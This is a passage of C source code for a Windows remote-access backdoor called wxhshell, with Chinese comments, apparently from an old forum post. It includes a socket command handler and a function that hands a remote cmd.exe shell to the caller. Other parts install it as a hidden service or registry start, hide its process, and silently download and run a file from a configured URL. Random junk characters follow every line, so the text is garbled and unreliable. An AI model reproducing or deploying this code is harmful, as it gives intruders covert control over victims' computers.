  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V{^!BBQ  
  } Mi/&f   
  else { /)4I|"}R0I  
_g~qu [1  
    switch(cmd[0]) { yp66{o  
  {3.r6ZwCn  
  // 帮助 M $Es%  
  case '?': { qeL5D*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V\^EfQ  
    break; .R9IL-3fO  
  } [BT/~6ovrZ  
  // 安装 !-,t'GF(  
  case 'i': { Fv Jd8kV  
    if(Install()) Vv8jEZ8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJ)*Z,7  
    else il \$@Bn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j& <i&  
    break; D;_ MPN[  
    } aEWWFN  
  // 卸载 4( 1(e  
  case 'r': { w\DVzeW(  
    if(Uninstall()) SL;9Q[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~d6DD;`K  
    else yb/%?DNQT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Ei5pX=g  
    break; 'ul~7h;n  
    } Ygl%eP%Z  
  // 显示 wxhshell 所在路径 I;Bjfv5  
  case 'p': { UGuxV+Nwf  
    char svExeFile[MAX_PATH]; x >^Si/t  
    strcpy(svExeFile,"\n\r"); JM\m)RH0  
      strcat(svExeFile,ExeFile); r%.do;5  
        send(wsh,svExeFile,strlen(svExeFile),0); sRrzp=D  
    break; |"9 #bU  
    } i}o[- S4  
  // 重启 ]@0NO;bK>F  
  case 'b': { :P@rkT3Qt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]- 4QNc=  
    if(Boot(REBOOT)) NsJ(`zk:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *0>mB  
    else { .?!N^_ Ez3  
    closesocket(wsh); NN1$'"@NL  
    ExitThread(0); 6+KHQFb&N  
    }  R#DwF,  
    break; 5GPo*Qpl  
    } 8G5m{XTS(  
  // 关机 hDp6YV,q  
  case 'd': { ^4`Px/&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v0ES;  
    if(Boot(SHUTDOWN)) [w&$|h:;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +C(/ Lyo}  
    else { zBJ7(zh!  
    closesocket(wsh); ea 00\  
    ExitThread(0); zA!0l*H  
    } _dJ{j   
    break; ]<q[Do8k  
    } qg}O/K  
  // 获取shell ?1 [\!  
  case 's': { jD`d#R  
    CmdShell(wsh); *r$+&8V\n  
    closesocket(wsh); \;mH(-  
    ExitThread(0); !k/Pv\j/R  
    break; Kbb78S30  
  } !\,kZ|#>  
  // 退出 ?w+Ix~k  
  case 'x': { Zt&6Ua[Y}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @bnG:np  
    CloseIt(wsh); K&U7H:  
    break; `/MvQ/  
    } =l0Jb#d  
  // 离开 }QsZ:J.  
  case 'q': { 2d {y M(=(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sqS=qC  
    closesocket(wsh); XxaGp95so  
    WSACleanup(); f~_th @K  
    exit(1); Y"6w,_'m  
    break; RNhJ'&SYs  
        } n9\]S7] 52  
  } ]wWPXx[>/  
  } WwUv5GZTW  
S>0nx ^P  
  // 提示信息 ZZ.m(A TR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D^-7JbE]  
} Kmdlf,[3d  
  } RJON90,J  
cn- nj]  
  return; ( &frUQm  
}  =Mb1o[  
(}5S  
// shell模块句柄 h#hxOVl%x  
int CmdShell(SOCKET sock) 5 XA=G  
{ I6s3+x;O  
STARTUPINFO si; | /|  
ZeroMemory(&si,sizeof(si)); `WOYoec   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yj$TPe_BW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,.o<no  
PROCESS_INFORMATION ProcessInfo; U7DCx=B  
char cmdline[]="cmd"; DtEwW1J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $L2%u8}8:  
  return 0; wfP5@!I  
} o8Z[+;  
d.2mT?`#  
// 自身启动模式 2Gs$?}"a  
int StartFromService(void) hG_?8:W8HT  
{ snt(IJQ  
typedef struct 7 uarh!  
{ n 8pt\i0  
  DWORD ExitStatus; k3t78Qg  
  DWORD PebBaseAddress; D>!6,m2  
  DWORD AffinityMask; eJo3 MK  
  DWORD BasePriority; /LM4- S  
  ULONG UniqueProcessId; tL+OCLF;  
  ULONG InheritedFromUniqueProcessId; :~ A%#  
}   PROCESS_BASIC_INFORMATION; z 8*8OWM  
>2?aZ`r+  
PROCNTQSIP NtQueryInformationProcess; !8@*F  
a@pz*e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )kJH5/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; & ``d  
l6u&5[C  
  HANDLE             hProcess; _NcY I  
  PROCESS_BASIC_INFORMATION pbi; oiH|uIsqR  
WpLZQ6wH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [,aqQ6S  
  if(NULL == hInst ) return 0; JNFIT;L  
BvU"4d;x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j2P n<0U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1'4J[S\cM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nCKbgM'"  
gs W0  
  if (!NtQueryInformationProcess) return 0; YUdxG/~'  
,b$2=JO'f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T`9-VX;`  
  if(!hProcess) return 0; TFepxF  
Xm4CKuU@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  YOAn4]j  
o y<J6  
  CloseHandle(hProcess); 2 /y}a#s  
oR*=|B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K$ v"Uk  
if(hProcess==NULL) return 0; ~=Ncp9ej#  
rz(0:vxwA  
HMODULE hMod; ?v-1zCls  
char procName[255]; m4[g6pNx~  
unsigned long cbNeeded; ?'r9"M>  
hGf-q?7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {FI\~ q  
vSW L$Y2  
  CloseHandle(hProcess); Y?#i{ixX6n  
[ "xn5l E  
if(strstr(procName,"services")) return 1; // 以服务启动 <fdPLw;@e4  
{$M;H+Foh  
  return 0; // 注册表启动 k?VQi5M  
} V5D`eX9  
LjdYsai-  
// 主模块 @:x"]!1  
int StartWxhshell(LPSTR lpCmdLine) Q!M)xNl/  
{ 7);:ZpDv%L  
  SOCKET wsl; PVa o  
BOOL val=TRUE; F8+e,x  
  int port=0; s^T+5 E&}  
  struct sockaddr_in door; Z7jX9e"L  
o;[bJ Z\^x  
  if(wscfg.ws_autoins) Install(); [k]|Qi nk  
nVD Xj  
port=atoi(lpCmdLine); Yn9j-`  
A.Bk/N1G  
if(port<=0) port=wscfg.ws_port; IwpbfZ  
Qeb}!k2A  
  WSADATA data; xiyxr R;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  <1&Ke  
<3hA!$o~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =w<v3wWN4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _N3}gFh>  
  door.sin_family = AF_INET; 2*U.^]~"{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yZJ*dadAr  
  door.sin_port = htons(port); m h;X~.98  
#3kXmeyrD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8G ]w,eF  
closesocket(wsl); [$ :  
return 1; ^^(<c,NX#M  
} ;5 <-)  
tLcEl'Eo  
  if(listen(wsl,2) == INVALID_SOCKET) { !5x Ly6=}  
closesocket(wsl); S)%_weLW7  
return 1; A6ewdT?>,  
} Qrz4}0  
  Wxhshell(wsl); # X.+  
  WSACleanup(); ~DLIzg7p!  
) qPSD2h  
return 0; R#4 ^s  
zL s^,x  
} j.3o W  
{aN(d3c  
// 以NT服务方式启动 )%du@a8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #1$}S=8*f  
{ "uu)2Xe  
DWORD   status = 0; 6kvV  
  DWORD   specificError = 0xfffffff; X9~m8c){z  
dyQh:u -  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \Kd7dK9&]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~"ONAX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bdV3v`  
  serviceStatus.dwWin32ExitCode     = 0; oVZ4bRl   
  serviceStatus.dwServiceSpecificExitCode = 0; nR8]@cC  
  serviceStatus.dwCheckPoint       = 0; 1a9w(X  
  serviceStatus.dwWaitHint       = 0; MB:n~>ga  
#Y[H8TW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J"[3~&em  
  if (hServiceStatusHandle==0) return; =8{*@>CX  
N"DY?6  
status = GetLastError(); a ]1i/3/  
  if (status!=NO_ERROR) !=[uT+v  
{ 7tH]*T9e>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {e]NU<G ,  
    serviceStatus.dwCheckPoint       = 0; ,VD6s !(  
    serviceStatus.dwWaitHint       = 0; Q?;C4n4]l  
    serviceStatus.dwWin32ExitCode     = status; L2U x9_S  
    serviceStatus.dwServiceSpecificExitCode = specificError; GYgWf1$8_D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p q-!WQ  
    return; D6!tVdnVe  
  } PI7IBI  
) YSh D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5_G'68;OV  
  serviceStatus.dwCheckPoint       = 0; J0Four#MD  
  serviceStatus.dwWaitHint       = 0; ,0T)Oc|HL/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); - 8syjKTg  
} <q7s`,rG  
\7E`QY4  
// 处理NT服务事件,比如:启动、停止 NyJnOw(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4/L>&%8V  
{ umDtp\  
switch(fdwControl) IYNMU\s  
{ #J+\DhDEPO  
case SERVICE_CONTROL_STOP: uFe'$vI  
  serviceStatus.dwWin32ExitCode = 0; |t\KsW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ci7~KewJ*  
  serviceStatus.dwCheckPoint   = 0; _hoAW8i  
  serviceStatus.dwWaitHint     = 0; ida*]+ ~  
  { u ~71l)LA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'P/taEi=R  
  } a!.!2a&t  
  return; ;4d.)-<No_  
case SERVICE_CONTROL_PAUSE: *IlQ5+3I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yv${M u  
  break; 0^>E`/  
case SERVICE_CONTROL_CONTINUE: Am7| /  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fH!=Zb_{8  
  break; H!JWc'(<$  
case SERVICE_CONTROL_INTERROGATE: EHWv3sR-  
  break; p#b{xK  
}; -I vL+}K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $i&\\QNn  
} eH=c|m]!P  
-q(:%;  
// 标准应用程序主函数 S 1ibw\'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,iOZ |  
{ 'aPCb`^;w  
gY\mXM*^  
// 获取操作系统版本 Ak|b0l>^  
OsIsNt=GetOsVer(); UQdyv(jXq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bi_J5 If  
>PH< N  
  // 从命令行安装 wrK#lh2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ork|yj/A  
ZPYH#gC& T  
  // 下载执行文件 ")\ *2d  
if(wscfg.ws_downexe) { +GPd   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #f 9qlM32  
  WinExec(wscfg.ws_filenam,SW_HIDE); QAXYrRu  
} 7+S44)w}~  
Lnx2xoNk  
if(!OsIsNt) { *08+\ed"#  
// 如果时win9x,隐藏进程并且设置为注册表启动 _&mc8ftT  
HideProc(); tD^a5qPh  
StartWxhshell(lpCmdLine); ^HoJ.oC/  
} 5|m9:Hv[#  
else J]]\&MtaO  
  if(StartFromService()) #x|VfN5f  
  // 以服务方式启动 qqD0R*(C  
  StartServiceCtrlDispatcher(DispatchTable); 2 _Jb9:/X  
else DD6'M U4  
  // 普通方式启动 A xR\ ned  
  StartWxhshell(lpCmdLine); &u4Ve8#  
z{V8@q/  
return 0; T;%+]:w<  
}
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只看该作者 1 发表于: 2006-10-10
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